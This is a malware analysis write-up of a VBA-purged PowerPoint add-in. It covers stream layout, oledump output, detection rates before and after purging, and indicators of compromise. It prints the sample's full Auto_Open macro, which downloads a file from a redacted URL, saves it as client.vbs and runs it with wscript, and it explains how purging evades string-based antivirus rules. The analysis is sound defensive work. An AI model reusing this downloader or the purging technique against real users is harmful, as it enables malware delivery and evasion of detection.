Malicious macros don't always keep both their source code and their compiled cache. If a PowerPoint add-in (PPAM) has a module stream that still holds decompressible VBA source while the cache for the compiled p-code is empty, the analysis should move on to the source and its entry point. It should not stop just because the decompiler has nothing to show.
The sample is a PPAM recorded in 2020: MD5 730a8401140edb4c79d563f306ca529e, SHA-256 20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11. The commands run in a Windows command prompt, using zipdump.py and oledump.py (the latter under Python 3.7). The focus is the layout of the VBA storage and the blind spot it creates for static detection. A structural trait on its own does not make a file malicious.
A module stream holds two representations
A VBA module stream usually has two parts. First comes PerformanceCache, an implementation-specific cache of data tied to the compiled code; after it comes CompressedSourceCode, the compressed source. Calling both "the macro code" hides an important difference: the two can disagree, and a file may keep only one of them.
The boundary between them isn't found by searching for strings. For each module, the dir stream holds a MODULEOFFSET record with the offset where its compressed source starts. The dir stream is itself compressed, so a parser has to decompress it and match those records to the right stream names before it can split any module correctly.
| Offset | Name | Type | Size | Value |
|---|---|---|---|---|
| 0x00 | IdRecord type, always 0x0031 | uint16_t | 2 | 0x0031 |
| 0x02 | SizeByte count of TextOffset, always 4 | uint32_t | 4 | 0x00000004 |
| 0x06 | TextOffsetWhere the compressed source starts in the module stream: 0 in this sample, 1299 in the regular document below | uint32_t | 4 | 0x00000000 |
Once the cache is purged, the source starts at the very beginning of the stream and its MODULEOFFSET becomes 0. Other streams, such as _VBA_PROJECT and __SRP_*, also hold cache data, so calling a file "source only" means checking the whole VBA storage, not a single module.
| Structure | Regular document | After the cache is purged |
|---|---|---|
PerformanceCache |
Starts at 0x0000, variable length |
Absent |
CompressedSourceCode |
Starts at MODULEOFFSET, runs to the end of the stream |
Starts at 0x0000, fills the whole stream |
MODULEOFFSET in dir |
One per module, points past that module's cache | 0 for every module |
This is the opposite of VBA stomping. Stomping removes or alters the source and leaves the compiled form in place; here the cache is gone and the source stays. The technique is known as VBA purging. The two call for different forensic approaches, and the stock advice to "look at the p-code" does not cover every sample.
From the ZIP wrapper to the VBA storage
A PPAM is an OOXML container, which is a ZIP archive on the outside. The VBA project is the member ppt/vbaProject.bin, and that member is an OLE compound file in its own right. The tree below is the layout once every layer is opened; size is the stream length in bytes as oledump.py reports it.
- 730a8401140edb4c79d563f306ca529e.vir.zipThe PPAM add-in itself; a ZIP on the outside
- [Content_Types].xml
- _rels
- .rels
- ppt
- presentation.xml
- _rels
- presentation.xml.rels
- vbaProject.binOLE compound file holding the VBA project
- PROJECTsize 311
- PROJECTwmsize 26
- VBA
- Módulo1size 548Module stream: 0-byte cache, 548 bytes of compressed source
- _VBA_PROJECTsize 7Only the 7-byte header is left
- dirsize 434
These steps produce that layout. Each step's raw output is folded under its command.
- 1
List the ZIP members and find vbaProject.bin
List the ZIP members first and locate
ppt/vbaProject.bin, so that the outer ZIP and the OLE compound file inside it are never treated as one layer.Windows cmd · C:\Demo $ zipdump.py 730a8401140edb4c79d563f306ca529e.vir.zipOutput6 lines
Index Filename Encrypted Timestampoutput Index Filename Encrypted Timestamp 1 [Content_Types].xml 0 1980-01-01 00:00:00 2 _rels/.rels 0 1980-01-01 00:00:00 3 ppt/presentation.xml 0 1980-01-01 00:00:00 4 ppt/_rels/presentation.xml.rels 0 1980-01-01 00:00:00 5 ppt/vbaProject.bin 0 2020-02-14 05:24:42 - 2
List the VBA streams
The streams inside
vbaProject.bininclude the moduleVBA/Módulo1,VBA/dirandVBA/_VBA_PROJECT. The module carries theMflag, so it is still recognized as containing VBA macros: this is not an empty shell.Windows cmd · C:\Demo $ c:\Python37\python.exe oledump.py 730a8401140edb4c79d563f306ca529e.vir.zipOutput6 lines
A: ppt/vbaProject.binoutput A: ppt/vbaProject.bin A1: 311 'PROJECT' A2: 26 'PROJECTwm' A3: M 548 'VBA/Módulo1' A4: 7 'VBA/_VBA_PROJECT' A5: 434 'VBA/dir' - 3
Split each module into cache and source
With
-i,oledump.pyuses the module offset to split each module into cache and source, and prints the two lengths as cache+source. The key value is0+548: the module's cache is 0 bytes and its compressed source is 548 bytes. These are section lengths. The 548 bytes are the whole module stream, not all that is left of the file.Windows cmd · C:\Demo $ c:\Python37\python.exe oledump.py -i 730a8401140edb4c79d563f306ca529e.vir.zipOutput6 lines
A: ppt/vbaProject.binoutput A: ppt/vbaProject.bin A1: 311 'PROJECT' A2: 26 'PROJECTwm' A3: M 548 0+548 'VBA/Módulo1' A4: 7 'VBA/_VBA_PROJECT' A5: 434 'VBA/dir' - 4
Check the _VBA_PROJECT stream
The
_VBA_PROJECTstream backs this up. It is only 7 bytes long, which is just the header, with none of the cached data it usually carries. Per MS-OVBA,PerformanceCachefollows the header, and its length is the stream size minus 71.VBA/_VBA_PROJECT · oledump.py -s A4 · 7 bytes 00000000CC61FFFF000000Reserved10x00–0x010x61CC, a fixed value in the specVersion0x02–0x030xFFFF; must be 0xFFFF on write, ignored on readReserved20x040x00Reserved30x05–0x06Undefined, ignored on read; no PerformanceCache follows
- 5
Compare with a regular document that has a cache
Next to a regular document,
Presentation1.ppam, the difference is obvious: its module has a non-zero cache and a non-zero source, and there are four__SRP_*streams.Windows cmd · C:\Demo $ c:\Python37\python.exe oledump.py -i Presentation1.ppamOutput10 lines
A: ppt/vbaProject.binoutput A: ppt/vbaProject.bin A1: 352 'PROJECT' A2: 26 'PROJECTwm' A3: M 1380 1299+81 'VBA/Module1' A4: 2308 'VBA/_VBA_PROJECT' A5: 1131 'VBA/__SRP_0' A6: 66 'VBA/__SRP_1' A7: 216 'VBA/__SRP_2' A8: 103 'VBA/__SRP_3' A9: 465 'VBA/dir'
Split at MODULEOFFSET, the two module streams look like this: the sample's stream is compressed source from end to end, while the regular document's source is only the last 81 bytes.
- 0x00000000CompressedSourceCode0x224MODULEOFFSET = 0, so the source starts at the top of the stream
- 0x00000000PerformanceCache0x5131.27 KiBCompiled cache
- 0x00000513CompressedSourceCode0x51MODULEOFFSET = 1299
| Stream | Sample | Regular document |
|---|---|---|
| Module stream | VBA/Módulo1, 548 bytes |
VBA/Module1, 1380 bytes |
| Cache + source | 0 + 548 | 1299 + 81 |
VBA/_VBA_PROJECT |
7 bytes | 2308 bytes |
VBA/__SRP_* |
None | 4, __SRP_0 to __SRP_3 |
Malice comes from behavior, not cache size
Once the source is decompressed, the chain is plain to see. The Auto_Open entry point creates a Microsoft.XMLHTTP object to fetch remote content, uses Adodb.Stream to save the response as client.vbs in the AppData folder, and hands that file to the wscript script host. Fetch from the network, drop a script, run it: that chain is far closer to the evidence a verdict needs than an empty cache is.
Attribute VB_Name = "Módulo1"
Public Sub Auto_Open()
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://gist.githubusercontent.com/<redacted>/<redacted>/raw/<redacted>/DASASDASDASD312312%2520-%2520Copia%2520(3).png", False
xHttp.Send
Dim j As String
j = Environ("AppDATA")
With bStrm
.Type = 1
.Open
.write xHttp.responseBody
.savetofile j & "/client.vbs", 2 '//overwrite
End With
Shell "wscript " & j & "/client.vbs", vbNormalFocus
End SubAuto_Openis the entry point: PowerPoint calls it automatically when it loads the add-in.- Creates a
Microsoft.XMLHTTPobject to make the HTTP request. - Fetches the remote file synchronously (the last argument is
False). The URL ends in.png, yet the response is saved as a script below. Adodb.Streamwrites the response in binary mode (.Type = 1) toclient.vbsin theAppDatafolder;2overwrites any existing file.- Hands the dropped script to the
wscriptscript host.
Keep three levels of conclusion apart:
- Structural facts already visible: the cache is missing, the compressed source is present, and the offsets in
dirmatch the stream contents. - Code behavior already visible: the macro downloads content from the network and launches a script.
- Outcomes that need more evidence: what the remote server actually returned at the time, what the script did next, and whether the document ever ran successfully on a target.
Static source can't stand in for the network response or execution logs. Nor does it matter for a structural analysis of the historical source whether the remote URL still works today.
Why old string-based rules miss it
Rules that scan the document container for plaintext API names sometimes actually match strings in the compiled cache. The same identifiers exist in the VBA source, but once compressed they don't necessarily appear as contiguous plaintext bytes. So after the cache is purged, those rules lose the bytes they matched on, while the macro may behave exactly as before.
That doesn't mean every rule breaks. Detections built on stream structure, decompressed source, API combinations or runtime behavior read entirely different input. When you evaluate a rule, first pin down what it reads (the raw container, the module stream, the decompressed source or the p-code), and only then compare how its hits change.
The two historical scans below are two states of one experiment: a malicious Word document (.doc, not the PPAM above) in its original form, and the same document with its p-code purged. The purged copy is named after the original's SHA-256 plus the suffix -no-p-code.vir.
| Item | Original | P-code purged |
|---|---|---|
| Size | 176.00 KB | 76.00 KB |
| Scanned (UTC) | 2019-12-27 11:17:41 | 2019-12-22 13:29:56 |
| Detections | 44 / 61 | 16 / 58 |
44/61
Tracking-42398631-BUD-HWN.doc
44 of 61 engines flagged it as malicious
- malicious 44
- undetected 17
- SHA-256
b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1
| Engine | Verdict | Detection |
|---|---|---|
| Ad-Aware | malicious | W97M.Downloader.GRU |
| AegisLab | malicious | Trojan.MSWord.Agent.a!c |
| ALYac | malicious | Trojan.Downloader.VBA.gen |
| Antiy-AVL | malicious | Trojan[Downloader]/MSOffice.Agent.hic |
| Arcabit | malicious | HEUR.VBA.Trojan.e |
| Avast | malicious | VBA:Downloader-GCD [Trj] |
| AVG | malicious | VBA:Downloader-GCD [Trj] |
| Avira (no cloud) | malicious | W97M/Agent.36885547 |
| Baidu | malicious | VBA.Trojan-Downloader.Agent.cpw |
| BitDefender | malicious | W97M.Downloader.GRU |
16/58
b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1-no-p-code.vir
16 of 58 engines flagged it as malicious, 1 as suspicious
- malicious 16
- suspicious 1
- undetected 41
- SHA-256
f44e067e011ab13bddf3e3143ea427090ac07c59dcb434d069bcefb4fe3cb434
| Engine | Verdict | Detection |
|---|---|---|
| Antiy-AVL | malicious | Trojan[Downloader]/MSOffice.Agent.hic |
| Arcabit | malicious | HEUR.VBA.Trojan.e |
| Avast | malicious | VBA:Downloader-GCD [Trj] |
| AVG | malicious | VBA:Downloader-GCD [Trj] |
| Baidu | malicious | VBA.Trojan-Downloader.Agent.cpw |
| Endgame | malicious | Malicious (high Confidence) |
| ESET-NOD32 | malicious | VBA/TrojanDownloader.Agent.HIC |
| Fortinet | malicious | VBA/Agent.HHV!tr |
| Ikarus | malicious | Trojan-Downloader.VBA.Agent |
| McAfee-GW-Edition | malicious | BehavesLike.Downloader.lg |
| Rising | malicious | Macro.Run.d (CLASSIC) |
| Sangfor Engine Zero | malicious | Malware |
| SentinelOne (Static ML) | malicious | DFI - Malicious OLE |
| Sophos AV | malicious | Troj/DocDl-NCG |
| TACHYON | malicious | Trojan/W97M.Agent.Gen |
| Tencent | malicious | Heur:Trojan.Script.LS_Gencirc.7071761.0 |
| BitDam ATP | suspicious | MALWARE |
| Ad-Aware | undetected | — |
| AegisLab | undetected | — |
| AhnLab-V3 | undetected | — |
The scan pages showed only some of the engines, and those are the ones listed in each card; the totals come from the summary at the top of each page. Of the engines visible on both, Ad-Aware and AegisLab flag the original as W97M.Downloader.GRU and Trojan.MSWord.Agent.a!c but report the purged copy as undetected.
Cross-check the structure instead of trusting one signal
In a review, put each module on one row: module name, stream size, MODULEOFFSET, cache length, source length, decompression result, and whether an entry point exists. Here are the sample and the regular document from above (n/a means not shown above):
| Module | Stream size | MODULEOFFSET |
Cache | Source | Decompression | Entry point |
|---|---|---|---|---|---|---|
Módulo1 (sample) |
548 | 0 | 0 | 548 | OK | Auto_Open |
Module1 (regular) |
1380 | 1299 | 1299 | 81 | n/a | n/a |
At a minimum, the offset has to fit this bounds model:
def split_module(module: bytes, source_offset: int):
if not 0 <= source_offset <= len(module):
raise ValueError("source offset outside module stream")
return module[:source_offset], module[source_offset:]
cache, source = split_module(b"compressed-source-placeholder", 0)
assert cache == b"" and sourceIndicators
These are the sample hashes from this post and the file the macro drops. The p-code-purged copy was produced in the experiment above. The macro's download URL is redacted in this post, so it is not listed.
20274a55d76a2fbd5f2c0ab727758b21202b22af95f6c0edba01b4b8af060e11PPAM add-in (the sample in this post)b829ef640b3ee2965e25453727598509aff4a461d41ac7d1be56d8c8f917c2c1Malicious Word document, originalf44e067e011ab13bddf3e3143ea427090ac07c59dcb434d069bcefb4fe3cb434Same document with its p-code purged
730a8401140edb4c79d563f306ca529ePPAM add-in (the sample in this post)
Tracking-42398631-BUD-HWN.docFile name of the malicious Word document
%APPDATA%\client.vbsScript the PPAM macro downloads, writes and runs with wscript
Summary
One important counterexample remains: legitimate document generation libraries and VBA cleanup tools also produce documents without a cache. So:
- A zero offset, a 7-byte
_VBA_PROJECTand missing__SRP_*streams are leads for an investigation, not grounds for blocking a file on their own. - When the decompiler shows no p-code, decompress the source and look for the entry point instead of ending the analysis there.
- Before evaluating a detection rule, pin down which layer it reads: the raw container, the module stream, the decompressed source or the p-code.
- Reliable conclusions come from cross-checking structural consistency against what the source code actually does.